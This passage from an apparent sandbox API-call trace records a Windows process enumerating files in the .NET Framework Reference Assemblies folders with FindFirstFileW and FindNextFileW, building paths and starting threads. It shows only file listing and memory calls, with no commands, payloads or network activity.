nFileSizeLow=0x62000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0127.274] wcscmp (_String1="System.IdentityModel.dll", _String2=".") returned 1 [0127.274] wcscmp (_String1="System.IdentityModel.dll", _String2="..") returned 1 [0127.275] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaae31b18, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xaae31b18, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x53cd8e4b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.dll", cAlternateFileName="")) returned 1 [0127.275] wcscmp (_String1="System.IdentityModel.Selectors.dll", _String2=".") returned 1 [0127.275] wcscmp (_String1="System.IdentityModel.Selectors.dll", _String2="..") returned 1 [0127.275] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaaef01e9, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xaaef01e9, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x53d25107, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Log.dll", cAlternateFileName="")) returned 1 [0127.275] wcscmp (_String1="System.IO.Log.dll", _String2=".") returned 1 [0127.275] wcscmp (_String1="System.IO.Log.dll", _String2="..") returned 1 [0127.275] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa98b70cb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa98b70cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa98b70cb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x57a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.dll", cAlternateFileName="")) returned 1 [0127.275] wcscmp (_String1="System.Printing.dll", _String2=".") returned 1 [0127.275] wcscmp (_String1="System.Printing.dll", _String2="..") returned 1 [0127.275] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9ce1753, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9ce1753, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d078b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xcf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.dll", cAlternateFileName="")) returned 1 [0127.275] wcscmp (_String1="System.Runtime.Serialization.dll", _String2=".") returned 1 [0127.275] wcscmp (_String1="System.Runtime.Serialization.dll", _String2="..") returned 1 [0127.275] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9bfcf11, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9bfcf11, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9c6f332, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x515000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.dll", cAlternateFileName="")) returned 1 [0127.275] wcscmp (_String1="System.ServiceModel.dll", _String2=".") returned 1 [0127.275] wcscmp (_String1="System.ServiceModel.dll", _String2="..") returned 1 [0127.275] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a53bf17, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a53bf17, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cf16e3d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Speech.dll", cAlternateFileName="")) returned 1 [0127.275] wcscmp (_String1="System.Speech.dll", _String2=".") returned 1 [0127.275] wcscmp (_String1="System.Speech.dll", _String2="..") returned 1 [0127.275] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9655ac7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9655ac7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa967bc27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Activities.dll", cAlternateFileName="")) returned 1 [0127.275] wcscmp (_String1="System.Workflow.Activities.dll", _String2=".") returned 1 [0127.275] wcscmp (_String1="System.Workflow.Activities.dll", _String2="..") returned 1 [0127.275] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9609806, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9609806, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa962f966, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x173000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.dll", cAlternateFileName="")) returned 1 [0127.275] wcscmp (_String1="System.Workflow.ComponentModel.dll", _String2=".") returned 1 [0127.275] wcscmp (_String1="System.Workflow.ComponentModel.dll", _String2="..") returned 1 [0127.275] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96a1d87, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa96a1d87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa96c7ee8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Runtime.dll", cAlternateFileName="")) returned 1 [0127.275] wcscmp (_String1="System.Workflow.Runtime.dll", _String2=".") returned 1 [0127.275] wcscmp (_String1="System.Workflow.Runtime.dll", _String2="..") returned 1 [0127.275] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a72b0d0, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a72b0d0, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cfaf3b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x2a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClient.dll", cAlternateFileName="")) returned 1 [0127.275] wcscmp (_String1="UIAutomationClient.dll", _String2=".") returned 1 [0127.276] wcscmp (_String1="UIAutomationClient.dll", _String2="..") returned 1 [0127.276] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a8f412c, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a8f412c, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d04792d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.dll", cAlternateFileName="")) returned 1 [0127.276] wcscmp (_String1="UIAutomationClientsideProviders.dll", _String2=".") returned 1 [0127.276] wcscmp (_String1="UIAutomationClientsideProviders.dll", _String2="..") returned 1 [0127.276] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a98c6a0, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a98c6a0, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d106003, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationProvider.dll", cAlternateFileName="")) returned 1 [0127.276] wcscmp (_String1="UIAutomationProvider.dll", _String2=".") returned 1 [0127.276] wcscmp (_String1="UIAutomationProvider.dll", _String2="..") returned 1 [0127.276] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aa4ad71, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9aa4ad71, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d17841d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationTypes.dll", cAlternateFileName="")) returned 1 [0127.276] wcscmp (_String1="UIAutomationTypes.dll", _String2=".") returned 1 [0127.276] wcscmp (_String1="UIAutomationTypes.dll", _String2="..") returned 1 [0127.276] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa97d2889, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa97d2889, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa97f89ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x110000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsBase.dll", cAlternateFileName="")) returned 1 [0127.276] wcscmp (_String1="WindowsBase.dll", _String2=".") returned 1 [0127.276] wcscmp (_String1="WindowsBase.dll", _String2="..") returned 1 [0127.276] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9acf85fb, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9acf85fb, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d2a8f0d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsFormsIntegration.dll", cAlternateFileName="")) returned 1 [0127.276] wcscmp (_String1="WindowsFormsIntegration.dll", _String2=".") returned 1 [0127.276] wcscmp (_String1="WindowsFormsIntegration.dll", _String2="..") returned 1 [0127.276] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803d8e97, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 1 [0127.276] wcscmp (_String1="WinFXList.xml", _String2=".") returned 1 [0127.276] wcscmp (_String1="WinFXList.xml", _String2="..") returned 1 [0127.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b861ac0 [0127.277] wcscpy (in: _Dest=0x1b861ac0, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" [0127.277] wcscat (in: _Dest=0x1b861ac0, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" [0127.277] wcscat (in: _Dest=0x1b861ac0, _Source="WinFXList.xml" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" [0127.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b861ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15d4 [0127.282] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803d8e97, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 0 [0127.282] FindClose (in: hFindFile=0x1cd9d610 | out: hFindFile=0x1cd9d610) returned 1 [0127.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027c800) returned 1 [0127.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5f10) returned 1 [0127.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d770) returned 1 Thread: id = 1216 os_tid = 0x5ac [0114.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a58e0 [0114.861] wcscpy (in: _Dest=0x202a58e0, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5" [0114.861] wcscat (in: _Dest=0x202a58e0, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\" [0114.861] wcscat (in: _Dest=0x202a58e0, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*" [0114.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027ca70 [0114.862] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9df10 [0114.864] wcscmp (_String1=".", _String2=".") returned 0 [0114.864] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.865] wcscmp (_String1="..", _String2=".") returned 1 [0114.865] wcscmp (_String1="..", _String2="..") returned 0 [0114.865] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efbd239, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1efbd239, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5ce0c4ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0114.865] wcscmp (_String1="Microsoft.Build.Conversion.v3.5.dll", _String2=".") returned 1 [0114.865] wcscmp (_String1="Microsoft.Build.Conversion.v3.5.dll", _String2="..") returned 1 [0114.865] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xade574cb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xade574cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xadfae12e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Engine.dll", cAlternateFileName="")) returned 1 [0114.865] wcscmp (_String1="Microsoft.Build.Engine.dll", _String2=".") returned 1 [0114.865] wcscmp (_String1="Microsoft.Build.Engine.dll", _String2="..") returned 1 [0114.865] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f2b6d7d, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1f2b6d7d, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5cf16e3d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Framework.dll", cAlternateFileName="")) returned 1 [0114.865] wcscmp (_String1="Microsoft.Build.Framework.dll", _String2=".") returned 1 [0114.865] wcscmp (_String1="Microsoft.Build.Framework.dll", _String2="..") returned 1 [0114.865] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad64ea7d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad64ea7d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad674bdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.v3.5.dll", cAlternateFileName="")) returned 1 [0114.866] wcscmp (_String1="Microsoft.Build.Utilities.v3.5.dll", _String2=".") returned 1 [0114.866] wcscmp (_String1="Microsoft.Build.Utilities.v3.5.dll", _String2="..") returned 1 [0114.866] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f40d9c2, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1f40d9c2, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5cffb671, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.STLCLR.dll", cAlternateFileName="")) returned 1 [0114.866] wcscmp (_String1="Microsoft.VisualC.STLCLR.dll", _String2=".") returned 1 [0114.866] wcscmp (_String1="Microsoft.VisualC.STLCLR.dll", _String2="..") returned 1 [0114.866] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0114.866] wcscmp (_String1="RedistList", _String2=".") returned 1 [0114.866] wcscmp (_String1="RedistList", _String2="..") returned 1 [0114.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ad700 [0114.866] wcscpy (in: _Dest=0x1b7ad700, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5" [0114.866] wcscat (in: _Dest=0x1b7ad700, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\" [0114.866] wcscat (in: _Dest=0x1b7ad700, _Source="RedistList" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" [0152.373] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ad700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16e4 [0152.374] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad69ad3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad69ad3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad69ad3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0152.374] wcscmp (_String1="System.AddIn.Contract.dll", _String2=".") returned 1 [0152.374] wcscmp (_String1="System.AddIn.Contract.dll", _String2="..") returned 1 [0152.374] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xace922ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xace922ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xacfe8f51, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="")) returned 1 [0152.374] wcscmp (_String1="System.AddIn.dll", _String2=".") returned 1 [0152.374] wcscmp (_String1="System.AddIn.dll", _String2="..") returned 1 [0152.374] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac3b5e7a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac3b5e7a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xac4c081c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.dll", cAlternateFileName="")) returned 1 [0152.374] wcscmp (_String1="System.ComponentModel.DataAnnotations.dll", _String2=".") returned 1 [0152.374] wcscmp (_String1="System.ComponentModel.DataAnnotations.dll", _String2="..") returned 1 [0152.374] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae496e97, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae496e97, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae5092b8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Core.dll", cAlternateFileName="")) returned 1 [0152.374] wcscmp (_String1="System.Core.dll", _String2=".") returned 1 [0152.374] wcscmp (_String1="System.Core.dll", _String2="..") returned 1 [0152.374] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadfae12e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xadfae12e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xadfd428e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.dll", cAlternateFileName="")) returned 1 [0152.374] wcscmp (_String1="System.Data.DataSetExtensions.dll", _String2=".") returned 1 [0152.374] wcscmp (_String1="System.Data.DataSetExtensions.dll", _String2="..") returned 1 [0152.374] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac558d9d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac558d9d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xac6898a0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.Design.dll", cAlternateFileName="")) returned 1 [0152.374] wcscmp (_String1="System.Data.Entity.Design.dll", _String2=".") returned 1 [0152.374] wcscmp (_String1="System.Data.Entity.Design.dll", _String2="..") returned 1 [0152.374] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a1495c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0a1495c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0a60c1c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.dll", cAlternateFileName="")) returned 1 [0152.375] wcscmp (_String1="System.Data.Entity.dll", _String2=".") returned 1 [0152.375] wcscmp (_String1="System.Data.Entity.dll", _String2="..") returned 1 [0152.375] 